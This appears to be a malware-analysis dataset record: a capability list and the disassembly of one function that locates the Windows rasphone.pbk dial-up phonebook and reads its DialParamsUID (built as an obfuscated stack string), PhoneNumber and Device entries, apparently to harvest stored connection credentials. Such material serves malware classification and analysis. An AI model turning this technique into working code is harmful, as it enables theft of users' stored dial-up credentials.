Function at 0x10004100
Capabilities:
Check os version
Contain obfuscated stackstrings
Get common file path
Read .ini file

Disassembly:
sub esp, 0x7d4
push ebx
push ebp
push esi
push edi
mov ebp, ecx
push str.Shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.SHGetSpecialFolderPathA
push eax
mov dword [esp + 0x3c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
lea eax, [esp + 0xd4]
push 0x105
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.Documents_and_Settings_
lea ecx, [esp + 0xd8]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
inc eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [ebp + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0xd4]
push edx
push eax
call edi
lea ecx, [esp + 0xd4]
push str.Application_DataMicrosoftNetworkConnectionspbk_rasphone.pbk
push ecx
call edi
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call edi
add esp, 4
lea edx, [esp + 0x2dc]
push 0
push 0x23
push edx
push 0
call esi
push 0x30
call edi
add esp, 4
lea eax, [esp + 0x2dc]
lea ecx, [esp + 0x2dc]
push str.MicrosoftNetworkConnectionspbk_rasphone.pbk
push eax
push str._s_s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [esp + 0x40]
lea edx, [esp + 0xd4]
lea eax, [esp + 0x2dc]
push ecx
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 0x50]
mov edi, 2
cmp eax, edi
jne 0x1000420a
cmp dword [esp + 0x44], 5
jb 0x1000420a
mov ecx, ebp
call fcn.10003f60
push 0x1000
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
lea edx, [esp + 0x3c]
add esp, 4
mov dword [esp + 0x28], esi
mov dword [esp + 0x24], edx
mov dword [esp + 0x2c], edi
jmp 0x1000422f
mov esi, dword [esp + 0x28]
mov ecx, 0x400
xor eax, eax
mov edi, esi
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x24]
mov ebx, dword [eax]
push ebx
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
mov ecx, dword [esp + 0x28]
cmp byte [ecx], 0
je 0x10004468
push esi
mov ecx, ebp
call fcn.10004910
mov dword [esp + 0x30], eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1dc]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x4e4]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x5e4]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x3e4]
rep stosd dword es:[edi], eax
push ebx
lea edx, [esp + 0x1e0]
mov ecx, 0x40
lea edi, [esp + 0x6e8]
push 0x100
push edx
rep stosd dword es:[edi], eax
mov byte [esp + 0x2d], al
push eax
lea eax, [esp + 0x24]
mov byte [esp + 0x24], 0x44
push eax
push esi
mov byte [esp + 0x2d], 0x69
mov byte [esp + 0x2e], 0x61
mov byte [esp + 0x2f], 0x6c
mov byte [esp + 0x30], 0x50
mov byte [esp + 0x31], 0x61
mov byte [esp + 0x32], 0x72
mov byte [esp + 0x33], 0x61
mov byte [esp + 0x34], 0x6d
mov byte [esp + 0x35], 0x73
mov byte [esp + 0x36], 0x55
mov byte [esp + 0x37], 0x49
mov byte [esp + 0x38], 0x44
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jle 0x100043b7
mov eax, dword [ebp + 0x10]
xor edi, edi
test eax, eax
mov dword [esp + 0x10], edi
jle 0x100043b7
mov dword [esp + 0x10], edi
mov ecx, dword [esp + 0x10]
mov eax, dword [ebp + 0x1c]
add ecx, eax
lea edx, [esp + 0x1dc]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x10004363
mov ecx, dword [esp + 0x10]
mov eax, dword [ebp + 0x10]
inc edi
add ecx, 0x301
cmp edi, eax
mov dword [esp + 0x10], ecx
jl 0x1000432b
mov dword [esp + 0x10], edi
jmp 0x100043b7
mov dword [esp + 0x10], edi
lea edi, [edi + edi*2]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x4e4]
shl edi, 8
add edi, eax
mov eax, dword [ebp + 0x1c]
lea ecx, [edi + eax + 0x200]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x5e4]
lea ecx, [edi + eax + 0x100]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp + 0x1c]
mov byte [edi + eax + 0x300], 1
mov eax, dword [ebp + 8]
inc eax
mov dword [ebp + 8], eax
mov edi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push ebx
lea ecx, [esp + 0x3e8]
push 0x100
push ecx
push 0
push str.PhoneNumber
push esi
call edi
push ebx
lea edx, [esp + 0x6e8]
push 0x100
push edx
push 0
push str.Device
push esi
call edi
lea eax, [esp + 0x6e4]
mov ecx, ebp
push eax
call fcn.10004910
lea ecx, [esp + 0x4e4]
mov edi, eax
push ecx
mov ecx, ebp
call fcn.10004910
lea edx, [esp + 0x3e4]
push edi
lea ecx, [esp + 0x5e8]
push edx
mov edx, dword [esp + 0x38]
push ecx
mov dword [esp + 0x1c], eax
push eax
lea eax, [esp + 0x1ec]
push edx
push eax
mov ecx, ebp
call fcn.100044b0
mov ecx, dword [esp + 0x30]
push ecx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov edx, dword [esp + 0x14]
push edx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esi + eax + 1]
cmp byte [esi], 0
jne 0x1000425a
mov ecx, dword [esp + 0x24]
mov eax, dword [esp + 0x2c]
add ecx, 4
dec eax
mov dword [esp + 0x24], ecx
mov dword [esp + 0x2c], eax
jne 0x1000422b
mov eax, dword [esp + 0x28]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ecx, dword [esp + 0x38]
add esp, 4
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x7d4
ret